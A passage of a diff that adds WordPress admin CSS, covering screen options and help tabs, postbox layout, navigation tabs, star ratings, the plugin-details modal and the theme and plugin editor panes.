+	margin: -4px 0;
+}
+
+#ajax-loading,
+.ajax-loading,
+.ajax-feedback,
+.imgedit-wait-spin,
+.list-ajax-loading { /* deprecated */
+	visibility: hidden;
+}
+
+#ajax-response.alignleft {
+	margin-left: 2em;
+}
+
+.button.updating-message:before,
+.button.updated-message:before,
+.button.installed:before,
+.button.installing:before {
+	margin: 3px 5px 0 -2px;
+}
+
+.button-primary.updating-message:before {
+	color: #fff;
+}
+
+.button-primary.updated-message:before {
+	color: #66c6e4;
+}
+
+.button.updated-message {
+	transition-property: border, background, color;
+	transition-duration: .05s;
+	transition-timing-function: ease-in-out;
+}
+
+@media aural {
+	.wrap .notice p:before,
+	.button.installing:before,
+	.button.installed:before,
+	.update-message p:before {
+		speak: none;
+	}
+}
+
+
+/* @todo: this does not need its own section anymore */
+/*------------------------------------------------------------------------------
+  6.0 - Admin Header
+------------------------------------------------------------------------------*/
+#adminmenu a,
+#taglist a,
+#catlist a {
+	text-decoration: none;
+}
+
+/*------------------------------------------------------------------------------
+  6.1 - Screen Options Tabs
+------------------------------------------------------------------------------*/
+
+#screen-options-wrap,
+#contextual-help-wrap {
+	margin: 0;
+	padding: 8px 20px 12px;
+	position: relative;
+}
+
+#contextual-help-wrap {
+	overflow: auto;
+	margin-left: 0 !important;
+}
+
+#screen-meta-links {
+	margin: 0 20px 0 0;
+}
+
+/* screen options and help tabs revert */
+#screen-meta {
+	display: none;
+	margin: 0 20px -1px 0px;
+	position: relative;
+	background-color: #fff;
+	border: 1px solid #ddd;
+	border-top: none;
+	box-shadow: 0 1px 0 rgba(0,0,0,.025);
+}
+
+#screen-options-link-wrap,
+#contextual-help-link-wrap {
+	float: right;
+	height: 28px;
+	margin: 0 0 0 6px;
+	border: 1px solid #ddd;
+	border-top: none;
+	background: #fff;
+	box-shadow: 0 1px 1px -1px rgba(0,0,0,0.1);
+}
+
+#screen-meta-links .screen-meta-toggle {
+	position: relative;
+	top: 0;
+}
+
+#screen-meta-links .show-settings {
+	border: 0;
+	background: none;
+	border-radius: 0;
+	color: #72777c;
+	line-height: 1.7;
+	padding: 3px 6px 3px 16px;
+}
+
+#screen-meta-links .show-settings:hover,
+#screen-meta-links .show-settings:active,
+#screen-meta-links .show-settings:focus {
+	color: #32373c;
+}
+
+#screen-meta-links .show-settings:active {
+	box-shadow: none;
+	transform: none;
+}
+
+#screen-meta-links .show-settings:after {
+	right: 0;
+	content: "\f140";
+	font: normal 20px/1 dashicons;
+	speak: none;
+	display: inline-block;
+	padding: 0 5px 0 0;
+	bottom: 2px;
+	position: relative;
+	vertical-align: bottom;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #72777c;
+}
+
+#screen-meta-links .screen-meta-active:after {
+	content: "\f142";
+}
+
+/* end screen options and help tabs */
+
+.toggle-arrow {
+	background-repeat: no-repeat;
+	background-position: top left;
+	background-color: transparent;
+	height: 22px;
+	line-height: 22px;
+	display: block;
+}
+
+.toggle-arrow-active {
+	background-position: bottom left;
+}
+
+#screen-options-wrap h5, /* Back-compat for old plugins */
+#screen-options-wrap legend,
+#contextual-help-wrap h5 {
+	margin: 0;
+	padding: 8px 0;
+ 	font-size: 13px;
+	font-weight: 600;
+}
+
+.ie8 #screen-options-wrap legend {
+	color: inherit;
+}
+
+.metabox-prefs label {
+	display: inline-block;
+	padding-right: 15px;
+	line-height: 30px;
+}
+
+#number-of-columns {
+	display: inline-block;
+	vertical-align: middle;
+	line-height: 30px;
+}
+
+.metabox-prefs input[type=checkbox] {
+	margin-top: 0;
+	margin-right: 6px;
+}
+
+.metabox-prefs label input,
+.metabox-prefs label input[type=checkbox] {
+	margin: -4px 5px 0 0;
+}
+
+.metabox-prefs .columns-prefs label input {
+	margin: -1px 2px 0 0;
+}
+
+.metabox-prefs label a {
+	display: none;
+}
+
+.metabox-prefs .screen-options input,
+.metabox-prefs .screen-options label {
+	margin-top: 0;
+	margin-bottom: 0;
+	vertical-align: middle;
+}
+
+.metabox-prefs .screen-options .screen-per-page {
+	margin-right: 15px;
+}
+
+.metabox-prefs .screen-options label {
+	line-height: 28px;
+	padding-right: 0;
+}
+
+.screen-options + .screen-options {
+	margin-top: 10px;
+}
+
+.metabox-prefs .submit {
+	margin-top: 1em;
+	padding: 0;
+}
+
+/*------------------------------------------------------------------------------
+  6.2 - Help Menu
+------------------------------------------------------------------------------*/
+
+#contextual-help-wrap {
+	padding: 0;
+}
+
+#contextual-help-columns {
+	position: relative;
+}
+
+#contextual-help-back {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	left: 150px;
+	right: 170px;
+	border: 1px solid #e1e1e1;
+	border-top: none;
+	border-bottom: none;
+	background: #f6fbfd;
+}
+
+#contextual-help-wrap.no-sidebar #contextual-help-back {
+	right: 0;
+	border-right-width: 0;
+	border-bottom-right-radius: 2px;
+}
+
+.contextual-help-tabs {
+	float: left;
+	width: 150px;
+	margin: 0;
+}
+
+.contextual-help-tabs ul {
+	margin: 1em 0;
+}
+
+.contextual-help-tabs li {
+	margin-bottom: 0;
+	list-style-type: none;
+	border-style: solid;
+	border-width: 0 0 0 2px;
+	border-color: transparent;
+}
+
+.contextual-help-tabs a {
+	display: block;
+	padding: 5px 5px 5px 12px;
+	line-height: 18px;
+	text-decoration: none;
+	border: 1px solid transparent;
+	border-right: none;
+	border-left: none;
+}
+
+.contextual-help-tabs a:hover {
+	color: #32373c;
+}
+
+.contextual-help-tabs .active {
+	padding: 0;
+	margin: 0 -1px 0 0;
+	border-left: 2px solid #00a0d2;
+	background: #f6fbfd;
+	box-shadow: 0 2px 0 rgba(0,0,0,0.02), 0 1px 0 rgba(0,0,0,0.02);
+}
+
+.contextual-help-tabs .active a {
+	border-color: #e1e1e1;
+	color: #32373c;
+}
+
+.contextual-help-tabs-wrap {
+	padding: 0 20px;
+	overflow: auto;
+}
+
+.help-tab-content {
+	display: none;
+	margin: 0 22px 12px 0;
+	line-height: 1.6em;
+}
+
+.help-tab-content.active {
+	display: block;
+}
+
+.help-tab-content ul li {
+	list-style-type: disc;
+	margin-left: 18px;
+}
+
+.contextual-help-sidebar {
+	width: 150px;
+	float: right;
+	padding: 0 8px 0 12px;
+	overflow: auto;
+}
+
+/*------------------------------------------------------------------------------
+  8.0 - Layout Blocks
+------------------------------------------------------------------------------*/
+
+html.wp-toolbar {
+	padding-top: 32px;
+	box-sizing: border-box;
+}
+
+.widefat th,
+.widefat td {
+	color: #555;
+}
+
+.widefat th,
+.widefat thead td,
+.widefat tfoot td {
+	font-weight: 400;
+}
+
+.widefat thead tr th,
+.widefat thead tr td,
+.widefat tfoot tr th,
+.widefat tfoot tr td {
+	color: #32373c;
+}
+
+.widefat td p {
+	margin: 2px 0 0.8em;
+}
+
+.widefat p,
+.widefat ol,
+.widefat ul {
+	color: #32373c;
+}
+
+.widefat .column-comment p {
+	margin: 0.6em 0;
+}
+
+.widefat .column-comment ul {
+	list-style: initial;
+	margin-left: 2em;
+}
+
+/* Screens with postboxes */
+.postbox-container {
+	float: left;
+}
+
+.postbox-container .meta-box-sortables {
+	box-sizing: border-box;
+}
+
+#wpbody-content .metabox-holder {
+	padding-top: 10px;
+}
+
+.metabox-holder .postbox-container .empty-container {
+	border: 3px dashed #b4b9be;
+	height: 250px;
+	position: relative;
+}
+
+.metabox-holder .postbox-container .empty-container:after {
+	content: attr(data-emptystring);
+	margin: auto;
+	position: absolute;
+	top: 0;
+	left: 0;
+	bottom: 0;
+	right: 0;
+	height: 1em;
+	width: 200px;
+	text-align: center;
+	color: #ccc;
+	font-size:18px;
+	display: none;
+}
+
+.metabox-holder.columns-1 .postbox-container .empty-container,
+.columns-2 #postbox-container-3 .empty-container,
+.columns-2 #postbox-container-4 .empty-container,
+.columns-3 #postbox-container-4 .empty-container {
+	border: 0 none;
+	height: 0;
+	min-height: 0;
+}
+
+#post-body-content {
+	width: 100%;
+	min-width: 463px;
+	float: left;
+}
+
+#post-body.columns-2 #postbox-container-1 {
+	float: right;
+	margin-right: -300px;
+	width: 280px;
+}
+
+#post-body.columns-2 #side-sortables {
+	min-height: 250px;
+}
+
+/* one column on the dash */
+@media only screen and (max-width: 799px) {
+	#wpbody-content .metabox-holder .postbox-container .empty-container {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+}
+
+.js .widget .widget-top,
+.js .postbox .hndle {
+	cursor: move;
+}
+
+.hndle a {
+	font-size: 11px;
+	font-weight: 400;
+}
+
+.postbox .handlediv {
+	display: none;
+	float: right;
+	width: 36px;
+	height: 36px;
+	margin: 0;
+	padding: 0;
+	border: 0;
+	background: none;
+	cursor: pointer;
+}
+
+.js .postbox .handlediv {
+	display: block;
+}
+
+.sortable-placeholder {
+	border: 1px dashed #b4b9be;
+	margin-bottom: 20px;
+}
+
+.postbox,
+.stuffbox {
+	margin-bottom: 20px;
+	padding: 0;
+	line-height: 1;
+}
+
+/* user-select is not a part of the CSS standard - may change behavior in the future */
+.postbox .hndle,
+.stuffbox .hndle {
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.postbox .inside,
+.stuffbox .inside {
+	padding: 0 12px 12px;
+	line-height: 1.4em;
+	font-size: 13px;
+}
+
+.postbox .inside {
+	margin: 11px 0;
+	position: relative;
+}
+
+.postbox .inside > p:last-child,
+.rss-widget ul li:last-child {
+	margin-bottom: 1px !important;
+}
+
+.postbox.closed h3 {
+	border: none;
+	box-shadow: none;
+}
+
+.postbox table.form-table {
+	margin-bottom: 0;
+}
+
+.postbox table.widefat {
+	box-shadow: none;
+}
+
+.temp-border {
+	border: 1px dotted #ccc;
+}
+
+.columns-prefs label {
+	padding: 0 10px 0 0;
+}
+
+/* @todo: what is this doing here */
+#dashboard_right_now .versions .b,
+#post-status-display,
+#post-visibility-display,
+#adminmenu .wp-submenu li.current,
+#adminmenu .wp-submenu li.current a,
+#adminmenu .wp-submenu li.current a:hover,
+.media-item .percent,
+.plugins .name,
+#pass-strength-result.strong,
+#pass-strength-result.short,
+#ed_reply_toolbar #ed_reply_strong,
+.item-controls .item-order a,
+.feature-filter .feature-name {
+	font-weight: 600;
+}
+
+/*------------------------------------------------------------------------------
+  21.0 - Admin Footer
+------------------------------------------------------------------------------*/
+
+#wpfooter {
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	padding: 10px 20px;
+	color: #555d66;
+}
+
+#wpfooter p {
+	font-size: 13px;
+	margin: 0;
+	line-height: 20px;
+}
+
+#footer-thankyou {
+	font-style: italic;
+}
+
+/*------------------------------------------------------------------------------
+  25.0 - Tabbed Admin Screen Interface (Experimental)
+------------------------------------------------------------------------------*/
+
+.nav-tab {
+	float: left;
+	border: 1px solid #ccc;
+	border-bottom: none;
+	margin-left: 0.5em; /* half the font size so set the font size properly */
+	padding: 5px 10px;
+	font-size: 14px;
+	line-height: 24px;
+	font-weight: 600;
+	background: #e5e5e5;
+	color: #555;
+	text-decoration: none;
+	white-space: nowrap;
+}
+
+h3 .nav-tab, /* Back-compat for pre-4.4 */
+.nav-tab-small .nav-tab {
+	padding: 5px 14px;
+	font-size: 12px;
+	line-height: 16px;
+}
+
+.nav-tab:hover,
+.nav-tab:focus {
+	background-color: #fff;
+	color: #444;
+}
+
+.nav-tab-active,
+.nav-tab:focus:active {
+	box-shadow: none;
+}
+
+.nav-tab-active {
+	margin-bottom: -1px;
+	color: #444;
+}
+
+.nav-tab-active,
+.nav-tab-active:hover,
+.nav-tab-active:focus,
+.nav-tab-active:focus:active {
+	border-bottom: 1px solid #f1f1f1;
+	background: #f1f1f1;
+	color: #000;
+}
+
+h1.nav-tab-wrapper, /* Back-compat for pre-4.4 */
+.wrap h2.nav-tab-wrapper, /* higher specificity to override .wrap > h2:first-child */
+.nav-tab-wrapper {
+	border-bottom: 1px solid #ccc;
+	margin: 0;
+	padding-top: 9px;
+	padding-bottom: 0;
+	line-height: inherit;
+}
+
+/* Back-compat for plugins. Deprecated. Use .wp-clearfix instead. */
+.nav-tab-wrapper:not(.wp-clearfix):after {
+ 	content: "";
+ 	display: table;
+ 	clear: both;
+ }
+
+.ie8 .nav-tab-wrapper {
+	/* contain floats establishing a new block formatting context */
+	display: inline-block;
+	width: 100%;
+	vertical-align: top;
+}
+
+/*------------------------------------------------------------------------------
+  26.0 - Misc
+------------------------------------------------------------------------------*/
+
+.spinner {
+	background: url(../images/spinner.gif) no-repeat;
+	background-size: 20px 20px;
+	display: inline-block;
+	visibility: hidden;
+	float: right;
+	vertical-align: middle;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	width: 20px;
+	height: 20px;
+	margin: 4px 10px 0;
+}
+
+.spinner.is-active,
+.loading-content .spinner {
+	visibility: visible;
+}
+
+#template > div {
+	margin-right: 16em;
+}
+#template .notice {
+	margin-top: 1em;
+	margin-right: 3%;
+}
+#template .notice p {
+	width: auto;
+}
+#template .submit .spinner {
+	float: none;
+}
+
+.metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */
+.metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */
+.metabox-holder h3.hndle, /* Back-compat for pre-4.4 */
+.metabox-holder h2.hndle {
+	font-size: 14px;
+	padding: 8px 12px;
+	margin: 0;
+	line-height: 1.4;
+}
+
+/* Back-compat for nav-menus screen */
+.nav-menus-php .metabox-holder h3 {
+	padding: 10px 10px 11px 14px;
+	line-height: 21px;
+}
+
+#templateside ul li a {
+	text-decoration: none;
+}
+
+.plugin-install #description,
+.plugin-install-network #description {
+	width: 60%;
+}
+
+table .vers,
+table .column-visible,
+table .column-rating {
+	text-align: left;
+}
+
+.attention,
+.error-message {
+	color: #dc3232;
+	font-weight: 600;
+}
+
+/* Scrollbar fix for bulk upgrade iframe */
+body.iframe {
+	height: 98%;
+}
+
+/* Upgrader styles, Specific to Language Packs */
+.lp-show-latest p {
+	display: none;
+}
+.lp-show-latest p:last-child,
+.lp-show-latest .lp-error p {
+	display: block;
+}
+
+/* - Only used once or twice in all of WP - deprecate for global style
+------------------------------------------------------------------------------*/
+.media-icon {
+	width: 62px; /* icon + border */
+	text-align: center;
+}
+
+.media-icon img {
+	border: 1px solid #e5e5e5;
+	border: 1px solid rgba(0, 0, 0, 0.07);
+}
+
+#howto {
+	font-size: 11px;
+	margin: 0 5px;
+	display: block;
+}
+
+.importers {
+	font-size: 16px;
+	width: auto;
+}
+
+.importers td {
+	padding-right: 14px;
+	line-height: 1.5em;
+}
+
+.importers .import-system {
+	max-width: 250px;
+}
+
+.importers td.desc {
+	max-width: 500px;
+}
+
+.importer-title,
+.importer-desc,
+.importer-action {
+	display: block;
+}
+
+.importer-title {
+	color: #000;
+	font-size: 14px;
+	font-weight: 400;
+	margin-bottom: .2em;
+}
+
+.importer-action {
+	line-height: 20px; /* Same as with .updating-message */
+	color: #555;
+	margin-bottom: 1em;
+}
+
+#post-body #post-body-content #namediv h3, /* Back-compat for pre-4.4 */
+#post-body #post-body-content #namediv h2 {
+	margin-top: 0;
+}
+
+.edit-comment-author {
+	font-size: 14px;
+	line-height: 1.4;
+	font-weight: 600;
+	color: #222;
+	margin: 2px 0 0 9px;
+}
+
+#namediv h3 label, /* Back-compat for pre-4.4 */
+#namediv h2 label {
+	vertical-align: baseline;
+}
+
+#namediv table {
+	width: 100%;
+}
+
+#namediv td.first {
+	width: 10px;
+	white-space: nowrap;
+}
+
+#namediv input {
+	width: 98%;
+}
+
+#namediv p {
+	margin: 10px 0;
+}
+
+#submitdiv h3 {
+	margin-bottom: 0 !important;
+}
+
+/* - Used - but could/should be deprecated with a CSS reset
+------------------------------------------------------------------------------*/
+.zerosize {
+	height: 0;
+	width: 0;
+	margin: 0;
+	border: 0;
+	padding: 0;
+	overflow: hidden;
+	position: absolute;
+}
+
+br.clear {
+	height: 2px;
+	line-height: 2px;
+}
+
+.checkbox {
+	border: none;
+	margin: 0;
+	padding: 0;
+}
+
+fieldset {
+	border: 0;
+	padding: 0;
+	margin: 0;
+}
+
+.post-categories {
+	display: inline;
+	margin: 0;
+	padding: 0;
+}
+
+.post-categories li {
+	display: inline;
+}
+
+/* Star Ratings - Back-compat for pre-3.8 */
+div.star-holder {
+	position: relative;
+	height: 17px;
+	width: 100px;
+	background: url(../images/stars.png?ver=20121108) repeat-x bottom left;
+}
+
+div.star-holder .star-rating {
+	background: url(../images/stars.png?ver=20121108) repeat-x top left;
+	height: 17px;
+	float: left;
+}
+
+/* Star Ratings */
+.star-rating {
+	white-space: nowrap;
+}
+.star-rating .star {
+	display: inline-block;
+	width: 20px;
+	height: 20px;
+	-webkit-font-smoothing: antialiased;
+	font-size: 20px;
+	line-height: 1;
+	font-family: dashicons;
+	text-decoration: inherit;
+	font-weight: 400;
+	font-style: normal;
+	vertical-align: top;
+	transition: color .1s ease-in 0;
+	text-align: center;
+	color: #ffb900;
+}
+
+.star-rating .star-full:before {
+	content: "\f155";
+}
+
+.star-rating .star-half:before {
+	content: "\f459";
+}
+
+.rtl .star-rating .star-half {
+	transform: rotateY(180deg);
+}
+
+.star-rating .star-empty:before {
+	content: "\f154";
+}
+
+div.action-links {
+	font-weight: 400;
+	margin: 6px 0 0;
+}
+
+/* Plugin install thickbox */
+#plugin-information {
+	background: #fff;
+	position: fixed;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+	height: 100%;
+	padding: 0;
+}
+
+#plugin-information-scrollable {
+	overflow: auto;
+	-webkit-overflow-scrolling: touch;
+	height: 100%;
+}
+
+#plugin-information-title {
+	padding: 0 26px;
+	background: #f5f5f5;
+	font-size: 22px;
+	font-weight: 600;
+	line-height: 56px;
+	position: relative;
+	height: 56px;
+}
+
+#plugin-information-title.with-banner {
+	margin-right: 0;
+	height: 250px;
+	background-size: cover;
+}
+
+#plugin-information-title h2 {
+	font-size: 1em;
+	font-weight: 600;
+	padding: 0;
+	margin: 0;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+#plugin-information-title.with-banner h2 {
+	position: relative;
+	font-family: "Helvetica Neue", sans-serif;
+	display: inline-block;
+	font-size: 30px;
+	line-height: 50px;
+	box-sizing: border-box;
+	max-width: 100%;
+	padding: 0 15px;
+	margin-top: 174px;
+	color: #fff;
+	background: rgba( 30, 30, 30, 0.9 );
+	text-shadow: 0 1px 3px rgba( 0, 0, 0, 0.4 );
+	box-shadow: 0 0 30px rgba( 255, 255, 255, 0.1 );
+	border-radius: 8px;
+}
+
+#plugin-information-title div.vignette {
+	display: none;
+}
+
+#plugin-information-title.with-banner div.vignette {
+	position: absolute;
+	display: block;
+	top: 0;
+	left: 0;
+	height: 250px;
+	width: 100%;
+	background: transparent;
+	box-shadow: inset 0 0 50px 4px rgba( 0, 0, 0, 0.2 ), inset 0 -1px 0 rgba( 0, 0, 0, 0.1 );
+}
+
+#plugin-information-tabs {
+	padding: 0 16px;
+	position: relative;
+	right: 0;
+	left: 0;
+	min-height: 36px;
+	font-size: 0;
+	z-index: 1;
+	border-bottom: 1px solid #ddd;
+	background: #f3f3f3;
+}
+
+#plugin-information-tabs a {
+	position: relative;
+	display: inline-block;
+	padding: 9px 10px;
+	margin: 0;
+	height: 18px;
+	line-height: 18px;
+	font-size: 14px;
+	text-decoration: none;
+	transition: none;
+}
+
+#plugin-information-tabs a.current {
+	margin: 0 -1px -1px;
+	background: #fff;
+	border: 1px solid #ddd;
+	border-bottom-color: #fff;
+	padding-top: 8px;
+	color: #32373c;
+}
+
+#plugin-information-tabs.with-banner a.current {
+	border-top: none;
+	padding-top: 9px;
+}
+
+#plugin-information-tabs a:active,
+#plugin-information-tabs a:focus {
+	outline: none;
+}
+
+#plugin-information-content {
+	overflow: hidden; /* equal height column trick */
+	background: #fff;
+	position: relative;
+	top: 0;
+	right: 0;
+	left: 0;
+	min-height: 100%;
+	/* Height of title + tabs + install now */
+	min-height: calc( 100% - 152px );
+}
+
+#plugin-information-content.with-banner {
+	/* Height of banner + tabs + install now */
+	min-height: calc( 100% - 346px );
+}
+
+#section-holder {
+	position: relative;
+	top: 0;
+	right: 250px;
+	bottom: 0;
+	left: 0;
+	margin-right: 250px; /* FYI box */
+	padding: 10px 26px;
+	margin-bottom: -99939px; /* 60px less than the padding below to accommodate footer */
+	padding-bottom: 99999px; /* equal height column trick */
+}
+
+#section-holder .updated {
+	margin: 16px 0;
+}
+
+#plugin-information .fyi {
+	float: right;
+	position: relative;
+	top: 0;
+	right: 0;
+	padding: 16px;
+	margin-bottom: -99939px; /* 60px less than the padding below to accommodate footer */
+	padding-bottom: 99999px; /* equal height column trick */
+	width: 217px;
+	border-left: 1px solid #ddd;
+	background: #f3f3f3;
+	color: #666;
+}
+
+#plugin-information .fyi strong {
+	color: #444;
+}
+
+#plugin-information .fyi h3 {
+	font-weight: 600;
+	text-transform: uppercase;
+	font-size: 12px;
+	color: #666;
+	margin: 24px 0 8px;
+}
+
+#plugin-information .fyi h2 {
+	font-size: 0.9em;
+	margin-bottom: 0;
+	margin-right: 0;
+}
+
+#plugin-information .fyi ul {
+	padding: 0;
+	margin: 0;
+	list-style: none;
+}
+
+#plugin-information .fyi li {
+	margin: 0 0 10px;
+}
+
+#plugin-information .fyi-description {
+	margin-top: 0;
+}
+
+#plugin-information .counter-container {
+	margin: 3px 0;
+}
+
+#plugin-information .counter-label {
+	float: left;
+	margin-right: 5px;
+	min-width: 55px;
+}
+
+#plugin-information .counter-back {
+	height: 17px;
+	width: 92px;
+	background-color: #e5e5e5;
+	float: left;
+}
+
+#plugin-information .counter-bar {
+	height: 17px;
+	background-color: #ffc733; /* slightly lighter than stars due to larger expanse */
+	float: left;
+}
+
+#plugin-information .counter-count {
+	margin-left: 5px;
+}
+
+#plugin-information .fyi ul.contributors {
+	margin-top: 10px;
+}
+
+#plugin-information .fyi ul.contributors li {
+	display: inline-block;
+	margin-right: 8px;
+	vertical-align: middle;
+}
+
+#plugin-information .fyi ul.contributors li {
+	display: inline-block;
+	margin-right: 8px;
+	vertical-align: middle;
+}
+
+#plugin-information .fyi ul.contributors li img {
+	vertical-align: middle;
+	margin-right: 4px;
+}
+
+#plugin-information-footer {
+	padding: 13px 16px;
+	position: absolute;
+	right: 0;
+	bottom: 0;
+	left: 0;
+	height: 33px; /* 33+13+13+1=60 */
+	border-top: 1px solid #ddd;
+	background: #f3f3f3;
+}
+
+/* rtl:ignore */
+#plugin-information .section {
+	direction: ltr;
+}
+
+/* rtl:ignore */
+#plugin-information .section ul,
+#plugin-information .section ol {
+	list-style-type: disc;
+	margin-left: 24px;
+}
+
+#plugin-information .section,
+#plugin-information .section p {
+	font-size: 14px;
+	line-height: 1.7;
+}
+
+#plugin-information #section-screenshots ol {
+	list-style: none;
+	margin: 0;
+}
+
+#plugin-information #section-screenshots li img {
+	vertical-align: text-top;
+	margin-top: 16px;
+	max-width: 100%;
+	width: auto;
+	height: auto;
+	box-shadow: 0 1px 2px rgba( 0, 0, 0, 0.3 );
+}
+
+/* rtl:ignore */
+#plugin-information #section-screenshots li p {
+	font-style: italic;
+	padding-left: 20px;
+}
+
+#plugin-information pre {
+	padding: 7px;
+	overflow: auto;
+	border: 1px solid #ccc;
+}
+
+#plugin-information blockquote {
+	border-left: 2px solid #ddd;
+	color: #666;
+	font-style: italic;
+	margin: 1em 0;
+	padding: 0 0 0 1em;
+}
+
+/* rtl:ignore */
+#plugin-information .review {
+	overflow: hidden; /* clearfix */
+	width: 100%;
+	margin-bottom: 20px;
+	border-bottom: 1px solid #e5e5e5;
+}
+
+#plugin-information .review-title-section {
+	overflow: hidden; /* clearfix */
+}
+
+/* rtl:ignore */
+#plugin-information .review-title-section h4 {
+	display: inline-block;
+	float: left;
+	margin: 0 6px 0 0;
+}
+
+#plugin-information .reviewer-info p {
+	clear: both;
+	margin: 0;
+	padding-top: 2px;
+}
+
+/* rtl:ignore */
+#plugin-information .reviewer-info .avatar {
+	float: left;
+	margin: 4px 6px 0 0;
+}
+
+/* rtl:ignore */
+#plugin-information .reviewer-info .star-rating {
+	float: left;
+}
+
+/* rtl:ignore */
+#plugin-information .review-meta {
+	float: left;
+	margin-left: 0.75em;
+}
+
+/* rtl:ignore */
+#plugin-information .review-body {
+	float: left;
+	width: 100%;
+}
+
+.plugin-version-author-uri {
+	font-size: 13px;
+}
+
+/* For non-js plugin installation screen ticket #36430. */
+.update-php .button.button-primary {
+	margin-right: 1em;
+}
+
+@media screen and ( max-width: 771px ) {
+	#plugin-information-title.with-banner {
+		height: 100px;
+	}
+
+	#plugin-information-title.with-banner h2 {
+		margin-top: 30px;
+		font-size: 20px;
+		line-height: 40px;
+		max-width: 85%;
+	}
+
+	#plugin-information-title.with-banner div.vignette {
+		height: 100px;
+	}
+
+	#plugin-information-tabs {
+		overflow: hidden; /* clearfix */
+		padding: 0;
+		height: auto; /* let tabs wrap */
+	}
+
+	#plugin-information-tabs a.current {
+		margin-bottom: 0;
+		border-bottom: none;
+	}
+
+	#plugin-information .fyi {
+		float: none;
+		border: 1px solid #ddd;
+		position: static;
+		width: auto;
+		margin: 26px 26px 0;
+		padding-bottom: 0; /* reset from the two column height fix */
+	}
+
+	#section-holder {
+		position: static;
+		margin: 0;
+		padding-bottom: 70px; /* reset from the two column height fix, plus accommodate footer */
+	}
+
+	#plugin-information .fyi h3,
+	#plugin-information .fyi small {
+		display: none;
+	}
+
+	#plugin-information-footer {
+		padding: 12px 16px 0;
+		height: 46px;
+	}
+}
+
+/* Thickbox for the Plugin details modal. */
+#TB_window.plugin-details-modal {
+	background: #fcfcfc;
+}
+
+#TB_window.plugin-details-modal.thickbox-loading:before {
+	content: "";
+	display: block;
+	width: 20px;
+	height: 20px;
+	position: absolute;
+	left: 50%;
+	top: 50%;
+	z-index: -1;
+	margin: -10px 0 0 -10px;
+	background: #fcfcfc url(../images/spinner.gif) no-repeat center;
+	background-size: 20px 20px;
+	transform: translateZ(0);
+}
+
+@media print,
+	(-webkit-min-device-pixel-ratio: 1.25),
+	(min-resolution: 120dpi) {
+
+	#TB_window.plugin-details-modal.thickbox-loading:before {
+		background-image: url(../images/spinner-2x.gif);
+	}
+}
+
+.plugin-details-modal #TB_title {
+	float: left;
+	height: 1px;
+}
+
+.plugin-details-modal #TB_ajaxWindowTitle {
+	display: none;
+}
+
+.plugin-details-modal #TB_closeWindowButton {
+	left: auto;
+	right: -30px;
+	color: #eee;
+}
+
+.plugin-details-modal #TB_closeWindowButton:hover,
+.plugin-details-modal #TB_closeWindowButton:focus {
+	color: #00a0d2;
+	outline: none;
+	box-shadow: none;
+}
+
+.plugin-details-modal .tb-close-icon {
+	display: none;
+}
+
+.plugin-details-modal #TB_closeWindowButton:after {
+	content: "\f335";
+	font: normal 32px/29px 'dashicons';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+/* move plugin install close icon to top on narrow screens */
+@media screen and ( max-width: 830px ) {
+	.plugin-details-modal #TB_closeWindowButton {
+		right: 0;
+		top: -30px;
+	}
+}
+
+/* @todo: move this. */
+img {
+	border: none;
+}
+
+/* Metabox collapse arrow indicators */
+.sidebar-name .toggle-indicator:before,
+.js .meta-box-sortables .postbox .toggle-indicator:before,
+.bulk-action-notice .toggle-indicator:before,
+.privacy-text-box .toggle-indicator:before {
+	content: "\f142";
+	display: inline-block;
+	font: normal 20px/1 dashicons;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+}
+
+.js .widgets-holder-wrap.closed .toggle-indicator:before,
+.js .meta-box-sortables .postbox.closed .handlediv .toggle-indicator:before,
+.bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator:before,
+.privacy-text-box.closed .toggle-indicator:before {
+	content: "\f140";
+}
+
+.js .postbox .handlediv .toggle-indicator:before {
+	margin-top: 4px;
+	width: 20px;
+	border-radius: 50%;
+	text-indent: -1px; /* account for the dashicon alignment */
+}
+
+.rtl.js .postbox .handlediv .toggle-indicator:before {
+	text-indent: 1px; /* account for the dashicon alignment */
+}
+
+.bulk-action-notice .toggle-indicator:before {
+	line-height: 16px;
+	vertical-align: top;
+	color: #72777c;
+}
+
+.js .postbox .handlediv:focus {
+	box-shadow: none;
+	outline: none;
+}
+
+.js .postbox .handlediv:focus .toggle-indicator:before {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+/* @todo: appears to be Press This only and overridden */
+#photo-add-url-div input[type="text"] {
+	width: 300px;
+}
+
+/* Theme/Plugin Editor */
+.alignleft h2 {
+	margin: 0;
+}
+
+#template textarea {
+	font-family: Consolas, Monaco, monospace;
+	font-size: 13px;
+	background: #f9f9f9;
+	-moz-tab-size: 4;
+	-o-tab-size: 4;
+	tab-size: 4;
+}
+
+#template textarea,
+#template .CodeMirror {
+	width: 100%;
+	min-height: 60vh;
+	height: calc( 100vh - 295px );
+	border: 1px solid #ddd;
+	box-sizing: border-box;
+}
+
+#templateside > h2 {
+	padding-top: 6px;
+	padding-bottom: 7px;
+	margin: 0;
+}
+
+#templateside ol,
+#templateside ul {
+	margin: 0;
+	padding: 0;
+}
+#templateside > ul {
+	box-sizing: border-box;
+	margin-top: 0;
+	overflow: auto;
+	padding: 0;
+	min-height: 60vh;
+	height: calc(100vh - 295px);
+	background-color: #f7f7f7;
+	border: 1px solid #ddd;
+	border-left: none;
+}
+#templateside ul ul {
+	padding-left: 12px;
+}
+#templateside > ul > li > ul[role=group] {
+	padding-left: 0;
+}
+
+/*
+ * Styles for Theme and Plugin editors.
+ */
+
+/* Hide collapsed items. */
+[role="treeitem"][aria-expanded="false"] > ul {
+	display: none;
+}
+
